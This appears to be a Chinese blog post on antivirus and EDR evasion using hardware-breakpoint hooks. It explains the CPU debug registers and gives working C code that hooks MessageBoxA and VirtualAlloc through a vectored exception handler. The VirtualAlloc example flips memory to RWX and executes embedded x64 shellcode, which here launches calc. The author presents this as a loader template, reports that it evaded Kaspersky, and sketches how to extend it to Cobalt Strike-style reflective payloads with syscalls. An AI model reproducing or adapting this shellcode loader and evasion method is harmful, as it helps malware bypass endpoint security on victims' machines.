免杀笔记 ---> 无痕Hook?硬件断点 Syscall!
说到Hook,我们有很多Hook,像Inline-Hook,我们也是用的比较多,但是正如我上一篇Blog说的,他会对内存进行修改,如果EDR或者AV增加一个校验机制,不断检验某一块内存,那么就算你用syscall绕过了Ring3的Hook成功修改了内存也是会被扫描出来的!
于是就有了今天的无痕Hook ---> 硬件断点
其实也是小编收到了粉丝的建议,于是赶出来了那个代码,但是这个技术是未公开的,所以小编就不放代码,但是会公布部分,以及一些细节(我也不想这个技术那么快没用,望理解😋)
但是效果还是可以展示的(卡巴斯基30minutes未杀,但是也不建议用CS对抗)
目录
1.调试寄存器
1.DR0 - DR3
2.DR7
3.DR6
2.无痕Hook
3.免杀!
1.调试寄存器
如上图,就是Windows的调试寄存器,它位于CPU中,我们讲一些比较重要的寄存器
1.DR0 - DR3
首先就是这三个寄存器了,这也是我们能使用的4个断点寄存器,它用来存储断点的地址
2.DR7
这个就是一个比较重要的寄存器了,我们从右往左去看
首先就是前八位,包含了L0 - L3 以及 G0 - G3,其中L是局部开关,G是全局开关,分别对应DR0 - DR3
然后就是R/W 和 LEN ,分别对应着读写域和 长度域
其中读写域(R/W)有四种状态 :
00 (硬件执行断点)
01 (硬件写入断点)
10 (IO中断)
11 (硬件访问断点)
其中长度域的状态
00 ---- 1字节
01 ----- 2字节
10 ----- 8字节
11 ----- 4字节
3.DR6
此寄存器可以用于描述硬件断点的情况,当我们在DR0下断点的时候,对应的B0就会变成1,DR1-3也是如此,那么如果B0-3都不为1的话,那么说明就是TF位为0的单步异常
2.无痕Hook
我们这里还是拿MessageBoxA来举例(好像每次受伤的都是它hhhh)
#include<Windows.h>
#include<stdio.j>
SIZE_T MessageBoxAddr = NULL;
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
if ((SIZE_T)pExcepInfo->ExceptionRecord->ExceptionAddress == MessageBoxAddr)
{
const char* title = "硬件断点Hook";
const char* context = "已经被Hook";
pExcepInfo->ContextRecord->R8 = (unsigned long long)title;
pExcepInfo->ContextRecord->Rdx = (unsigned long long)context;
// 清除硬件断点
pExcepInfo->ContextRecord->Dr0 = 0;
pExcepInfo->ContextRecord->Dr7 = 0x0;
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
void HardWareBreakPoint(HANDLE hThread)
{
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(hThread, &ctx);
ctx.Dr0 = MessageBoxAddr;
ctx.Dr7 = 0x00000001;
SetThreadContext(hThread, &ctx);
}
int main()
{
MessageBoxAddr = (SIZE_T)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
//没有hook
MessageBoxA(NULL, "没有Hook", "不存在Hook",MB_OK);
// 硬件断点Hook
HardWareBreakPoint(GetCurrentThread());
MessageBoxA(NULL, "没有Hook", "不存在Hook", MB_OK);
//已去除硬件断点的Hook
MessageBoxA(NULL, "没有Hook", "不存在Hook", MB_OK);
}
其实思路就是如下
- 先注册一个异常,用于断点处的操作(操作堆栈或者寄存器)
- 然后写一个硬件断点,调试寄存器是你要断的地址
- 然后当你的程序调用这个函数,或者说call这个地址的时候就会触发硬件断点(具体什么断点看你怎么设置,这里是硬件执行断点)
- 然后就进入你的Veh函数进行处理
并且我们可以看见被Hook的时候,它的内存是没有任何的改变的,这一点就能很好的对抗CRC32检测内存Patch的规则!!
这里我们也可以用一个计算器的脚本来进行加深理解(此脚本完全可以改成Loader,自行研究)
#include<stdio.h>
#include<Windows.h>
//硬件断点Hook VirtualAlloc
SIZE_T virtualAllocAddr = NULL;
LPVOID testAddr = NULL;
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
if ((SIZE_T)pExcepInfo->ExceptionRecord->ExceptionAddress == virtualAllocAddr)
{
//设置为可读可写可执行
pExcepInfo->ContextRecord->R9 = PAGE_EXECUTE_READWRITE;
// 清除硬件断点
pExcepInfo->ContextRecord->Dr0 = 0;
pExcepInfo->ContextRecord->Dr7 = 0x0;
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
void HardWareBreakPoint(HANDLE hThread)
{
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(hThread, &ctx);
ctx.Dr0 = virtualAllocAddr;
ctx.Dr7 = 0x00000001;
SetThreadContext(hThread, &ctx);
}
unsigned char Payload[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
void DummyFunction()
{
HardWareBreakPoint(GetCurrentThread());
testAddr = VirtualAlloc(NULL, sizeof(Payload), MEM_COMMIT, PAGE_READWRITE);
memcpy(testAddr, Payload, sizeof(Payload));
printf("%p", testAddr);
((void(*)())testAddr)();
}
int main()
{
HANDLE hThread = NULL;
//硬件断点无痕Hook VirtualAlloc
virtualAllocAddr = (SIZE_T)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "VirtualAlloc");
AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)DummyFunction, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
可以看见我们一开始分配的rw内存也是在硬件断点Hook的情况下变成了RWX
并且计算器也是能成功弹出来的
并且我们的VirtualAlloc也是没有被Hook的(这里的Jmp并不是我们的操作,其他程序也会如此)
我们的程序
系统自己的程序
3.免杀!
等了这么久,终于来到重头戏了,这里我不会详细讲,只是提个大体思路(聪明的你们应该能自己实现的吧😋😋)
其实还是WBG大佬的脚本,不过是多次的升华,我们还是盯着VirtualAlloc 和Sleep这两函数
然后就是重点的Veh函数处理(这里的VirtualAlloc必须在获取反射dll和loader的产物那块地址之后进行 "脱钩" ,否则你后面BOF的执行会有问题,不用Bof当我没说。。。)
重点就是这两个啦,正所谓 "救赎之道,就在其中" 也正是我们的无痕断点,使得我们并不需要对内存进行Patch ,配合Syscall ,大家可以放心食用😊😋😋
此JMP并不是我的操作(并无对内存进行Patch)